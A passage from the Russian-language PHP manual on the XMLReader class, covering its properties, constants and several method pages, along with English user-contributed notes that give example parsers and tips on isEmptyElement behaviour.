public setRelaxNGSchema(?string $filename): bool
public setRelaxNGSchemaSource(?string $source): bool
public setSchema(?string $filename): bool
public static XML(string $source, ?string $encoding = null, int $flags = 0): bool|XMLReader
}

Свойства

attributeCount

Количество атрибутов в узле

baseURI

Базовый URI узла

depth

Глубина узла в дереве, начиная с 0

hasAttributes

Показывает, есть ли у узла атрибуты

hasValue

Показывает, имеет ли узел текстовое значение

isDefault

Показывает, является ли атрибутом по умолчанию из DTD

isEmptyElement

Показывает, является ли узел пустым тегом

localName

Локальное имя узла

name

Полностью определённое имя узла

namespaceURI

URI пространства имён связанный с узлом

nodeType

Тип узла

prefix

Префикс пространства имён связанный с узлом

value

Текстовое значение узла

xmlLang

Контекст xml:lang, в котором находится узел

Предопределённые константы

Типы узлов XMLReader

XMLReader::NONE

Нет типа узла

XMLReader::ELEMENT

Начальный элемент

XMLReader::ATTRIBUTE

Узел атрибута

XMLReader::TEXT

Текстовый узел

XMLReader::CDATA

Узел CDATA

XMLReader::ENTITY_REF

Узел ссылки на сущность

XMLReader::ENTITY

Узел объявления объекта

XMLReader::PI

Узел инструкций обработки

XMLReader::COMMENT

Узел комментария

XMLReader::DOC

Узел документа

XMLReader::DOC_TYPE

Узел типа документа

XMLReader::DOC_FRAGMENT

Узел фрагмента документа

XMLReader::NOTATION

Узел нотации

XMLReader::WHITESPACE

Пробельный узел

XMLReader::SIGNIFICANT_WHITESPACE

Существенный пробельный узел

XMLReader::END_ELEMENT

Завершение элемента

XMLReader::END_ENTITY

Завершение объекта

XMLReader::XML_DECLARATION

Узел XML объявления

Опции анализатора XMLReader

XMLReader::LOADDTD

Загружать DTD, но не проверять

XMLReader::DEFAULTATTRS

Загружать DTD и атрибуты по умолчанию, но не проверять

XMLReader::VALIDATE

Загружать DTD и проверять при разборе

XMLReader::SUBST_ENTITIES

Заменять объекты и разворачивать ссылки

Содержание

  • XMLReader::close — Закрыть ввод XMLReader
  • XMLReader::expand — Возвратить копию текущего узла в виде объекта DOM
  • XMLReader::getAttribute — Получить значение атрибута с определённым именем
  • XMLReader::getAttributeNo — Получить значение атрибута по индексу
  • XMLReader::getAttributeNs — Получить значение атрибута по localname и URI
  • XMLReader::getParserProperty — Указывает, было ли определённое свойство установлено
  • XMLReader::isValid — Указывает, содержит ли анализируемый документ синтаксические ошибки
  • XMLReader::lookupNamespace — Найти пространство имён для префикса
  • XMLReader::moveToAttribute — Переместить курсор к атрибуту с заданным именем
  • XMLReader::moveToAttributeNo — Переместить курсор на атрибут по индексу
  • XMLReader::moveToAttributeNs — Переместить курсор к именованному атрибуту
  • XMLReader::moveToElement — Позиционировать курсор на родительском элементе текущего атрибута
  • XMLReader::moveToFirstAttribute — Переместить позицию курсора на первый атрибут
  • XMLReader::moveToNextAttribute — Переместить позицию курсора на следующий атрибут
  • XMLReader::next — Переместить курсор на следующий узел, пропуская все поддеревья
  • XMLReader::open — Установить URI, содержащий XML-документ для разбора
  • XMLReader::read — Переместиться к следующему узлу в документе
  • XMLReader::readInnerXml — Извлечь XML из текущего узла
  • XMLReader::readOuterXml — Получить XML из текущего узла, включая сам узел
  • XMLReader::readString — Прочитать содержимое текущего узла как строку
  • XMLReader::setParserProperty — Устанавливает опцию парсера
  • XMLReader::setRelaxNGSchema — Установить имя файла или URI для схемы RelaxNG
  • XMLReader::setRelaxNGSchemaSource — Устанавливает данные, содержащие схему RelaxNG
  • XMLReader::setSchema — Проверить документ, используя XSD
  • XMLReader::XML — Установить данные, содержащие XML для разбора

User Contributed Notes

eef dot vreeland at gmail dot com 10-Aug-2017 05:43
Please discard my previous note; I pressed 'Add Note' too quickly

About (non-)self-closing tags:

 A) <tag></tag>
    $xmlRdr->isEmptyElement => false
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => false

 B) <tag />
    $xmlRdr->isEmptyElement => true
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => false

 C) <tag attribute="value"></tag>
    $xmlRdr->isEmptyElement => false
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => true

 D) <tag attribute="value" />
    $xmlRdr->isEmptyElement => true
    $xmlRdr->hasValue       => false
    $xmlRdr->value          => ''
    $xmlRdr->hasAttributes  => true

... and always use the '===' operator when testing properties
eef dot vreeland at gmail dot com 10-Aug-2017 05:08
Note that when:

A) <tag></tag>
   $xmlRdr->isEmptyElement => false
   $xmlRdr->hasValue       => true
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => false

B) <tag />
   $xmlRdr->isEmptyElement => true
   $xmlRdr->hasValue       => false
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => false

C) <tag attribute="value"></tag>
   $xmlRdr->isEmptyElement => false
   $xmlRdr->hasValue       => false
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => true

D) <tag attribute="value" />
   $xmlRdr->isEmptyElement => true
   $xmlRdr->hasValue       => false
   $xmlRdr->value          => ''
   $xmlRdr->hasAttributes  => true
Sean Colin Ruiz 08-Jan-2017 03:11
As japos mentioned. Take care how you use isEmptyElement. After you are done looping through the attributes: isEmptyElement will be false.  You can use moveToElement() to move the cursor back to the element and then you can use isEmptyElement like normal again.
dkrnl at yandex dot ru 04-Oct-2013 04:10
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php

<?php

/**
 * Simple XML Reader
 *
 * @license Public Domain
 * @author Dmitry Pyatkov(aka dkrnl) <dkrnl@yandex.ru>
 * @url http://github.com/dkrnl/SimpleXMLReader
 */
class SimpleXMLReader extends XMLReader
{

    /**
     * Callbacks
     *
     * @var array
     */
    protected $callback = array();

    /**
     * Add node callback
     *
     * @param  string   $name
     * @param  callback $callback
     * @param  integer  $nodeType
     * @return SimpleXMLReader
     */
    public function registerCallback($name, $callback, $nodeType = XMLREADER::ELEMENT)
    {
        if (isset($this->callback[$nodeType][$name])) {
            throw new Exception("Already exists callback $name($nodeType).");
        }
        if (!is_callable($callback)) {
            throw new Exception("Already exists parser callback $name($nodeType).");
        }
        $this->callback[$nodeType][$name] = $callback;
        return $this;
    }

    /**
     * Remove node callback
     *
     * @param  string  $name
     * @param  integer $nodeType
     * @return SimpleXMLReader
     */
    public function unRegisterCallback($name, $nodeType = XMLREADER::ELEMENT)
    {
        if (!isset($this->callback[$nodeType][$name])) {
            throw new Exception("Unknow parser callback $name($nodeType).");
        }
        unset($this->callback[$nodeType][$name]);
        return $this;
    }

    /**
     * Run parser
     *
     * @return void
     */
    public function parse()
    {
        if (empty($this->callback)) {
            throw new Exception("Empty parser callback.");
        }
        $continue = true;
        while ($continue && $this->read()) {
            if (isset($this->callback[$this->nodeType][$this->name])) {
                $continue = call_user_func($this->callback[$this->nodeType][$this->name], $this);
            }
        }
    }

    /**
     * Run XPath query on current node
     *
     * @param  string $path
     * @param  string $version
     * @param  string $encoding
     * @return array(SimpleXMLElement)
     */
    public function expandXpath($path, $version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->xpath($path);
    }

    /**
     * Expand current node to string
     *
     * @param  string $version
     * @param  string $encoding
     * @return SimpleXMLElement
     */
    public function expandString($version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->asXML();
    }

    /**
     * Expand current node to SimpleXMLElement
     *
     * @param  string $version
     * @param  string $encoding
     * @param  string $className
     * @return SimpleXMLElement
     */
    public function expandSimpleXml($version = "1.0", $encoding = "UTF-8", $className = null)
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return simplexml_import_dom($node, $className);
    }

    /**
     * Expand current node to DomDocument
     *
     * @param  string $version
     * @param  string $encoding
     * @return DomDocument
     */
    public function expandDomDocument($version = "1.0", $encoding = "UTF-8")
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return $document;
    }

}
?>
kula_shakerz 03-Apr-2013 02:27
Found this in the IXmlReader docs at msdn but it's also valid for XMLReader in PHP.

You should save the value of $isEmptyElement before processing attributes, or call moveToElement to make $isEmptyElement valid after processing attributes.

$isEmptyElement returns FALSE when XMLReader is positioned on an attribute node, even if attribute's parent element is empty.
Mike De Smet 25-Sep-2012 04:35
For those of you getting xml files that do not contain duplicate elements (in the same element), the following converter converts to arrays with key/value mapping (thus overwriting duplicate elements!):

Note this is untested with attributes although I built in support.

<?php
    function xml2assoc($xml, array &$target = array()) {
        while ($xml->read()) {
            switch ($xml->nodeType) {
                case XMLReader::END_ELEMENT:
                    return $target;
                case XMLReader::ELEMENT:
                    $name = $xml->name;
                    $target[$name] = $xml->hasAttributes ? array() : '';
                    if (!$xml->isEmptyElement) {
                        $target[$name] = array();
                        xml2assoc($xml, $target[$name]);
                    }

                    if ($xml->hasAttributes)
                        while($xml->moveToNextAttribute())
                            $target[$name]['@'.$xml->name] = $xml->value;
                    break;
                case XMLReader::TEXT:
                case XMLReader::CDATA:
                    $target = $xml->value;
            }
        }
        return $target;
    }
?>
casella dot email at google dot mail dot com 22-Sep-2012 03:59
To verify that all nodes are read without error/warning you can use this code:
<?php
$endofxml = false;
$xml_url = "example.xml";
$reader = new XMLReader();
if(!$reader->open($xml_url)){
    print "Error to open XML: $xml_url\n";
} else {
    while ($reader->read()) {
        $firstnode = (!isset($firstnode)) ? $reader->name : $firstnode;
/*
DO SOMETHING
*/
        if ($reader->nodeType == XMLReader::END_ELEMENT && $reader->name == $firstnode) {
            $endofxml = true;
        }
    }
}
if($endofxml) {
    print "no error found";
} else {
    print "error found";
}
?>

This code is useful to trap $reader->read() error/warning.
lee8oi at gmail dot com 21-Mar-2012 01:54
Sometimes you have an unusual URL that doesn't actually point to an xml file but still returns xml as output (Like the Battlefield Heroes generated syndication urls). Using get_file_contents(url) you can retrieve the xml data from these urls and pass it as a variable for processing as an XML String.

Unfortunately simpleXML or xml DOM cannot process all xml strings. Some have error boxes added to the end of them (such as Battlefield Heroes syndicated news). These boxes cause an end of file sort of error and closes out the script. XMLReader grabs data from these strings without error.
japos dot trash at googlemail dot com 09-Oct-2010 02:17
Take care about how to use XMLReader::$isElementEmpty. I don't know if it is a bug or not, but $isElementEmpty is set for the current context and NOT just for the element. If you move your cursor to an attribute, $isElementEmpty will ALWAYS be false.

<?php
 $xml = new XMLReader();
 $xml->XML('<tag attr="value" />');
 $xml->read();
 var_dump($xml->isEmptyElement);
 $xml->moveToNextAttribute();
 var_dump($xml->isEmptyElement);
?>

will output

(bool) true
(bool) false

So be sure to store $isEmptyElement before moving the cursor.
jart (at) mail.ru 23-Sep-2010 06:59
Guys, I hope this example will help
you can erase prints showing the process-
and it will be a piece of nice code.

<?php
function xml2assoc($xml, $name)
{
    print "<ul>";

    $tree = null;
    print("I'm inside " . $name . "<br>");

    while($xml->read())
    {
        if($xml->nodeType == XMLReader::END_ELEMENT)
        {
            print "</ul>";
            return $tree;
        }

        else if($xml->nodeType == XMLReader::ELEMENT)
        {
            $node = array();

            print("Adding " . $xml->name ."<br>");
            $node['tag'] = $xml->name;

            if($xml->hasAttributes)
            {
                $attributes = array();
                while($xml->moveToNextAttribute())
                {
                    print("Adding attr " . $xml->name ." = " . $xml->value . "<br>");
                    $attributes[$xml->name] = $xml->value;
                }
                $node['attr'] = $attributes;
            }

            if(!$xml->isEmptyElement)
            {
                $childs = xml2assoc($xml, $node['tag']);
                $node['childs'] = $childs;
            }

            print($node['tag'] . " added <br>");
            $tree[] = $node;
        }

        else if($xml->nodeType == XMLReader::TEXT)
        {
            $node = array();
            $node['text'] = $xml->value;
            $tree[] = $node;
            print "text added = " . $node['text'] . "<br>";
        }
    }

    print "returning " . count($tree) . " childs<br>";
    print "</ul>";

    return $tree;
}

echo "<PRE>";

$xml = new XMLReader();
$xml->open('test.xml');
$assoc = xml2assoc($xml, "root");
$xml->close();

print_r($assoc);
echo "</PRE>";

?>

It reads this xml:

<test>
    <hallo volume="loud"> me <br/> lala </hallo>
    <hallo> me </hallo>
</test>
jnettles at inccrra dot org 02-Oct-2009 09:51
Just in case someone is confused, if you're wanting to simply pass a string of XML instead of an entire file, you would do this.

<?php
$foo = new XMLReader();
$foo->xml($STRING);
?>

.... where $STRING holds your XML. You cannot pass it like $foo = $STRING or $foo->xml = $STRING.
james dot ellis at example dot com 25-Mar-2009 03:16
The "XML2Assoc" functions noted here should be used with caution... basically they are duplicating the functionality already present in SimpleXML. They may work but they won't scale.

Their are two main uses cases for parsing XML, each suited to either XMLReader or SimpleXML.

1. SimpleXML is an excellent tool for easy access to an XML document tree using native PHP data types. It starts to flounder with massive (> 50M or so) XML documents, as it reads the entire document into memory before it can be processed. SimpleXML will just laugh at you then die when your server runs out of memory (or it will cause a load spike).

2. Aside from the reasoning behind massive XML documents, if you have to deal with massive XML documents, use XMLReader to process them. Don't try and gather an entire XML document into a PHP data structure using XMLReader and a PHP xml2assoc() function, you are reinventing the SimpleXML wheel.
When parsing massive XML documents using XMLReader, gather the data you need to perform an operation then perform it before skipping to the next node. Do not build massive data structures from a massive XML document, your server (and it's admins) will not like you.
PxL 23-Jan-2009 03:36
A basic parser

<?php
function xml2assoc($xml) {
    $arr = array();
    if (!preg_match_all('|\<\s*?(\w+).*?\>(.*)\<\/\s*\\1.*?\>|s', $xml, $m)) return $xml;
    if (is_array($m[1]))
        for ($i = 0;$i < sizeof($m[1]); $i++) $arr[$m[1][$i]] = xml2assoc($m[2][$i]);
    else $arr[$m[1]] = xml2assoc($m[2]);

    return $arr;
}
?>
boukeversteegh at gmail dot com 18-Jan-2009 02:06
XML to ASSOCIATIVE ARRAY

Improved algorithm based on Sergey Aikinkulov's. The problem was that it would overwrite nodes if they had the same tag name. Because of that <a><b/><b/><a> would be read as if <a><b/><a/>. This algorithm handles it better and outputs an easy to understand array:

<?php
function xml2assoc($xml) {
    $tree = null;
    while($xml->read())
        switch ($xml->nodeType) {
            case XMLReader::END_ELEMENT: return $tree;
            case XMLReader::ELEMENT:
                $node = array('tag' => $xml->name, 'value' => $xml->isEmptyElement ? '' : xml2assoc($xml));
                if($xml->hasAttributes)
                    while($xml->moveToNextAttribute())
                        $node['attributes'][$xml->name] = $xml->value;
                $tree[] = $node;
            break;
            case XMLReader::TEXT:
            case XMLReader::CDATA:
                $tree .= $xml->value;
        }
    return $tree;
}

?>

Usage:

myxml.xml:
------
<PERSON>
    <NAME>John</NAME>
    <PHONE type="home">555-555-555</PHONE>
</PERSON>
----

<?
    $xml = new XMLReader();
    $xml->open('myxml.xml');
    $assoc = xml2assoc($xml);
    $xml->close();
    print_r($assoc);
?>

Outputs:
Array
(
    [0] => Array
        (
            [tag] => PERSON
            [value] => Array
                (
                    [0] => Array
                        (
                            [tag] => NAME
                            [value] => John
                        )

                    [1] => Array
                        (
                            [tag] => PHONE
                            [value] => 555-555-555
                            [attributes] => Array
                                (
                                    [type] => home
                                )

                        )

                )

        )

)

For reasons that have to do with recursion, it returns an array with the ROOT xml node as the first childNode, rather than to return only the ROOT node.
andrei_antal at yahoo dot com 08-Jan-2009 08:25
<?php
//Pull certain elements
 $reader = new XMLReader();
  $reader->open($xmlfile);
while ($reader->read()) {
 switch ($reader->nodeType) {
   case (XMLREADER::ELEMENT):

if ($reader->name == "Code")
     {
       $reader->read();
       $code = trim($reader->value);
       echo "$code\n";
       break;
     }

 if ($reader->name == "Name")
     {
       $reader->read();
       $customername = trim( $reader->value );
       echo "$name\n";
       break;
     }

 if ($reader->name == "Camp")
    {
      $camp = trim($reader->getAttribute("ID"));
       echo "$camp\n";
      break;
    }
  }
}
?>
godseth at o2 dot pl 28-Nov-2008 02:34
Thanks rein_baarsma33 AT hotmail DOT com for bugfixes.

This is my new child of XML parsing method  based on my and yours modification.

XML2ASSOC Is a complete solution for parsing ordinary XML

<?php
/**
 * XML2Assoc Class to creating
 * PHP Assoc Array from XML File
 *
 * @author godseth (AT) o2.pl & rein_baarsma33 (AT) hotmail.com (Bugfixes in parseXml Method)
 * @uses XMLReader
 *
 */

class Xml2Assoc {

    /**
     * Optimization Enabled / Disabled
     *
     * @var bool
     */
    protected $bOptimize = false;

    /**
     * Method for loading XML Data from String
     *
     * @param string $sXml
     * @param bool $bOptimize
     */

    public function parseString( $sXml , $bOptimize = false) {
        $oXml = new XMLReader();
        $this -> bOptimize = (bool) $bOptimize;
        try {

            // Set String Containing XML data
            $oXml->XML($sXml);

            // Parse Xml and return result
            return $this->parseXml($oXml);

        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    /**
     * Method for loading Xml Data from file
     *
     * @param string $sXmlFilePath
     * @param bool $bOptimize
     */
    public function parseFile( $sXmlFilePath , $bOptimize = false ) {
        $oXml = new XMLReader();
        $this -> bOptimize = (bool) $bOptimize;
        try {
            // Open XML file
            $oXml->open($sXmlFilePath);

            // // Parse Xml and return result
            return $this->parseXml($oXml);

        } catch (Exception $e) {
            echo $e->getMessage(). ' | Try open file: '.$sXmlFilePath;
        }
    }

    /**
     * XML Parser
     *
     * @param XMLReader $oXml
     * @return array
     */
    protected function parseXml( XMLReader $oXml ) {

        $aAssocXML = null;
        $iDc = -1;

        while($oXml->read()){
            switch ($oXml->nodeType) {

                case XMLReader::END_ELEMENT:

                    if ($this->bOptimize) {
                        $this->optXml($aAssocXML);
                    }
                    return $aAssocXML;

                case XMLReader::ELEMENT:

                    if(!isset($aAssocXML[$oXml->name])) {
                        if($oXml->hasAttributes) {
                            $aAssocXML[$oXml->name][] = $oXml->isEmptyElement ? '' : $this->parseXML($oXml);
                        } else {
                            if($oXml->isEmptyElement) {
                                $aAssocXML[$oXml->name] = '';
                            } else {
                                $aAssocXML[$oXml->name] = $this->parseXML($oXml);
                            }
                        }
                    } elseif (is_array($aAssocXML[$oXml->name])) {
                        if (!isset($aAssocXML[$oXml->name][0]))
                        {
                            $temp = $aAssocXML[$oXml->name];
                            foreach ($temp as $sKey=>$sValue)
                            unset($aAssocXML[$oXml->name][$sKey]);
                            $aAssocXML[$oXml->name][] = $temp;
                        }

                        if($oXml->hasAttributes) {
                            $aAssocXML[$oXml->name][] = $oXml->isEmptyElement ? '' : $this->parseXML($oXml);
                        } else {
                            if($oXml->isEmptyElement) {
                                $aAssocXML[$oXml->name][] = '';
                            } else {
                                $aAssocXML[$oXml->name][] = $this->parseXML($oXml);
                            }
                        }
                    } else {
                        $mOldVar = $aAssocXML[$oXml->name];
                        $aAssocXML[$oXml->name] = array($mOldVar);
                        if($oXml->hasAttributes) {
                            $aAssocXML[$oXml->name][] = $oXml->isEmptyElement ? '' : $this->parseXML($oXml);
                        } else {
                            if($oXml->isEmptyElement) {
                                $aAssocXML[$oXml->name][] = '';
                            } else {
                                $aAssocXML[$oXml->name][] = $this->parseXML($oXml);
                            }
                        }
                    }

                    if($oXml->hasAttributes) {
                        $mElement =& $aAssocXML[$oXml->name][count($aAssocXML[$oXml->name]) - 1];
                        while($oXml->moveToNextAttribute()) {
                            $mElement[$oXml->name] = $oXml->value;
                        }
                    }
                    break;
                case XMLReader::TEXT:
                case XMLReader::CDATA:

                    $aAssocXML[++$iDc] = $oXml->value;

            }
        }

        return $aAssocXML;
    }

    /**
     * Method to optimize assoc tree.
     * ( Deleting 0 index when element
     *  have one attribute / value )
     *
     * @param array $mData
     */
    public function optXml(&$mData) {
        if (is_array($mData)) {
            if (isset($mData[0]) && count($mData) == 1 ) {
                $mData = $mData[0];
                if (is_array($mData)) {
                    foreach ($mData as &$aSub) {
                        $this->optXml($aSub);
                    }
                }
            } else {
                foreach ($mData as &$aSub) {
                    $this->optXml($aSub);
                }
            }
        }
    }

}

?>

[EDIT BY danbrown AT php DOT net:  Fixes were also provided by "Alex" and (qdog AT qview DOT org) in user notes on this page (since removed).]
Sergey Aikinkulov 19-Jun-2008 03:51
Next version xml2assoc with some improve fixes:
 - no doubled data
 - no buffer arrays

<?php
/*
    Read XML structure to associative array
    --
    Using:
    $xml = new XMLReader();
    $xml->open([XML file]);
    $assoc = xml2assoc($xml);
    $xml->close();
*/
    function xml2assoc($xml) {
      $assoc = null;
      while($xml->read()){
        switch ($xml->nodeType) {
          case XMLReader::END_ELEMENT: return $assoc;
          case XMLReader::ELEMENT:
            $assoc[$xml->name][] = array('value' => $xml->isEmptyElement ? '' : xml2assoc($xml));
            if($xml->hasAttributes){
              $el =& $assoc[$xml->name][count($assoc[$xml->name]) - 1];
              while($xml->moveToNextAttribute()) $el['attributes'][$xml->name] = $xml->value;
            }
            break;
          case XMLReader::TEXT:
          case XMLReader::CDATA: $assoc .= $xml->value;
        }
      }
      return $assoc;
    }
?>
desk_ocean at msn dot com 16-Mar-2008 10:03
make some modify from Sergey Aikinkulov's note

<?php
function xml2assoc(&$xml){
    $assoc = NULL;
    $n = 0;
    while($xml->read()){
        if($xml->nodeType == XMLReader::END_ELEMENT) break;
        if($xml->nodeType == XMLReader::ELEMENT and !$xml->isEmptyElement){
            $assoc[$n]['name'] = $xml->name;
            if($xml->hasAttributes) while($xml->moveToNextAttribute()) $assoc[$n]['atr'][$xml->name] = $xml->value;
            $assoc[$n]['val'] = xml2assoc($xml);
            $n++;
        }
        else if($xml->isEmptyElement){
            $assoc[$n]['name'] = $xml->name;
            if($xml->hasAttributes) while($xml->moveToNextAttribute()) $assoc[$n]['atr'][$xml->name] = $xml->value;
            $assoc[$n]['val'] = "";
            $n++;
        }
        else if($xml->nodeType == XMLReader::TEXT) $assoc = $xml->value;
    }
    return $assoc;
}
?>

add else if($xml->isEmptyElement)
may be some xml has emptyelement
itari 15-Feb-2008 08:30
<?php
function parseXML($node,$seq,$path) {
global $oldpath;
    if (!$node->read())
      return;
    if ($node->nodeType != 15) {
      print '<br/>'.$node->depth;
      print '-'.$seq++;
      print '  '.$path.'/'.($node->nodeType==3?'text() = ':$node->name);
      print $node->value;
      if ($node->hasAttributes) {
        print ' [hasAttributes: ';
        while ($node->moveToNextAttribute()) print '@'.$node->name.' = '.$node->value.' ';
        print ']';
        }
      if ($node->nodeType == 1) {
        $oldpath=$path;
        $path.='/'.$node->name;
        }
      parseXML($node,$seq,$path);
      }
    else parseXML($node,$seq,$oldpath);
}

$source = "<tag1>this<tag2 id='4' name='foo'>is</tag2>a<tag2 id='5'>common</tag2>record</tag1>";
$xml = new XMLReader();
$xml->XML($source);
print htmlspecialchars($source).'<br/>';
parseXML($xml,0,'');
?>

Output:

<tag1>this<tag2 id='4' name='foo'>is</tag2>a<tag2 id='5'>common</tag2>record</tag1>

0-0 /tag1
1-1 /tag1/text() = this
1-2 /tag1/tag2 [hasAttributes: @id = 4 @name = foo ]
2-3 /tag1/text() = is
1-4 /text() = a
1-5 /tag2 [hasAttributes: @id = 5 ]
2-6 /text() = common
1-7 /text() = record
orion at ftf-hq dot dk 15-Feb-2006 04:50
Some more documentation (i.e. examples) would be nice :-)

This is how I read some mysql parameters in an xml file:

<?php
    $xml = new XMLReader();
    $xml->open("config.xml");
    $xml->setParserProperty(2,true); // This seems a little unclear to me - but it worked :)

    while ($xml->read()) {
        switch ($xml->name) {
        case "mysql_host":
            $xml->read();
            $conf["mysql_host"] = $xml->value;
            $xml->read();
            break;
        case "mysql_username":
            $xml->read();
            $conf["mysql_user"] = $xml->value;
            $xml->read();
            break;
        case "mysql_password":
            $xml->read();
            $conf["mysql_pass"] = $xml->value;
            $xml->read();
            break;
        case "mysql_database":
            $xml->read();
            $conf["mysql_db"] = $xml->value;
            $xml->read();
            break;
        }
    }

    $xml->close();
?>

The XML file used:
<?xml version='1.0'?>
<MySQL_INIT>
   <mysql_host>localhost</mysql_host>
   <mysql_database>db_database</mysql_database>
   <mysql_username>root</mysql_username>
   <mysql_password>password</mysql_password>
</MySQL_INIT>


Закрыть ввод XMLReader

  • « XMLReader
  • XMLReader::expand »
  • PHP Manual
  • XMLReader
  • Закрыть ввод XMLReader

XMLReader::close

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::close — Закрыть ввод XMLReader

Описание

public XMLReader::close(): true

Закрывает ввод, который в настоящий момент анализирует объект XMLReader.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Смотрите также

  • XMLReader::open() - Установить URI, содержащий XML-документ для разбора
  • XMLReader::xml() - Установить данные, содержащие XML для разбора

User Contributed Notes

There are no user contributed notes for this page.


Возвратить копию текущего узла в виде объекта DOM

  • « XMLReader::close
  • XMLReader::getAttribute »
  • PHP Manual
  • XMLReader
  • Возвратить копию текущего узла в виде объекта DOM

XMLReader::expand

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::expand — Возвратить копию текущего узла в виде объекта DOM

Описание

public XMLReader::expand(?DOMNode $baseNode = null): DOMNode|false

Этот метод копирует текущий узел и возвращает соответствующий объект DOM.

Список параметров

baseNode

DOMNode определяет целевой DOMDocument созданного объекта DOM.

Возвращаемые значения

Метод возвращает результирующий объект DOMNode или false, если возникла ошибка.

User Contributed Notes

Sbastien 02-Jan-2022 01:29
XMLReader::expand() expands the current subtree to DOM. SimpleXML is good too. To avoid a warning like "Imported Node must have associated Document" when using simplexml_import_dom(), we can do :

<?php

// Huge XML compressed file
$xml = XMLReader::open('compress.zlib:///path/to/my-data.xml.gz');

// Targeting a tiny subtree
while ($xml->name !== 'my-targeted-element') {
    $xml->read();
}

// The trick is here...
// Subtree is expanded in an empty document...
$dom = $xml->expand(new DOMDocument());

// ... which can be imported by SimpleXML
$sx = simplexml_import_dom($dom);

// We can now process our tiny subtree with SimpleXML $sx


Получить значение атрибута с определённым именем

  • « XMLReader::expand
  • XMLReader::getAttributeNo »
  • PHP Manual
  • XMLReader
  • Получить значение атрибута с определённым именем

XMLReader::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::getAttribute — Получить значение атрибута с определённым именем

Описание

public XMLReader::getAttribute(string $name): ?string

Возвращает значение именованного атрибута или null, если атрибут не существует или не находится в узле элемента.

Список параметров

name

Имя атрибута.

Возвращаемые значения

Значение атрибута или null, если атрибут с заданным параметром name не найден или нет позиции элемента.

Список изменений

Версия | Описание
8.0.0 | Функция больше не может возвращать false.

Смотрите также

  • XMLReader::getAttributeNo() - Получить значение атрибута по индексу
  • XMLReader::getAttributeNs() - Получить значение атрибута по localname и URI

User Contributed Notes

sven at e7o dot de 08-Nov-2023 02:44
To get all attributes and their names, use something like this:

<?php
function getAttributes($reader)
{
    $attributes = [];
    for ($i = 0; $i < $reader->attributeCount; $i++) {
        $reader->moveToAttributeNo($i);
        $attributes[$reader->name] = $reader->value;
    }
    return $attributes;
}
?>
Anonymous 16-Feb-2011 09:02
Or use XMLReader::ELEMENT and XMLReader::END_ELEMENT rather than the numbers 1 and 15.
Gabi 02-Jul-2007 08:15
might be obvious, but not to everyone ;-) ... when reading attributes from a node that has sub-nodes (and creating an output from this node), the output will be issued twice, once on the <ELEMENT> tag and once on the end tag </ELEMENT>. To avoid this, you can test on which part of the node you are using the property nodeType.
It'll be 1 for the element, 15 for the end element.


Получить значение атрибута по индексу

  • « XMLReader::getAttribute
  • XMLReader::getAttributeNs »
  • PHP Manual
  • XMLReader
  • Получить значение атрибута по индексу

XMLReader::getAttributeNo

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::getAttributeNo — Получить значение атрибута по индексу

Описание

public XMLReader::getAttributeNo(int $index): ?string

Возвращает значение атрибута на основании позиции или пустую строку, если атрибут не существует или не расположен на узле элемента.

Список параметров

index

Позиция атрибута.

Возвращаемые значения

Значение атрибута или null, если атрибут с заданным параметром index не существует или нет позиции элемента.

Смотрите также

  • XMLReader::getAttribute() - Получить значение атрибута с определённым именем
  • XMLReader::getAttributeNs() - Получить значение атрибута по localname и URI

User Contributed Notes

There are no user contributed notes for this page.


Получить значение атрибута по localname и URI

  • « XMLReader::getAttributeNo
  • XMLReader::getParserProperty »
  • PHP Manual
  • XMLReader
  • Получить значение атрибута по localname и URI

XMLReader::getAttributeNs

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::getAttributeNs — Получить значение атрибута по localname и URI

Описание

public XMLReader::getAttributeNs(string $name, string $namespace): ?string

Возвращает значение атрибута по имени и URI пространства имён или пустую строку, если атрибут не существует или не расположен на узле элемента.

Список параметров

name

Локальное имя.

namespace

URI пространства имён.

Возвращаемые значения

Значение атрибута или null, если атрибут с заданным name и namespace не найден или нет позиции элемента.

Список изменений

Версия | Описание
8.0.0 | Функция больше не может возвращать false.

Смотрите также

  • XMLReader::getAttribute() - Получить значение атрибута с определённым именем
  • XMLReader::getAttributeNo() - Получить значение атрибута по индексу

User Contributed Notes

There are no user contributed notes for this page.


Указывает, было ли определённое свойство установлено

  • « XMLReader::getAttributeNs
  • XMLReader::isValid »
  • PHP Manual
  • XMLReader
  • Указывает, было ли определённое свойство установлено

XMLReader::getParserProperty

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

XMLReader::getParserProperty — Указывает, было ли определённое свойство установлено

Описание

public XMLReader::getParserProperty(int $property): bool

Указывает, было ли определённое свойство установлено.

Список параметров

property

Одна из констант анализатора.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • XMLReader::setParserProperty() - Устанавливает опцию парсера

User Contributed Notes

There are no user contributed notes for this page.


Указывает, содержит ли анализируемый документ синтаксические ошибки

  • « XMLReader::getParserProperty
  • XMLReader::lookupNamespace »
  • PHP Manual
  • XMLReader
  • Указывает, содержит ли анализируемый документ синтаксические ошибки

XMLReader::isValid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

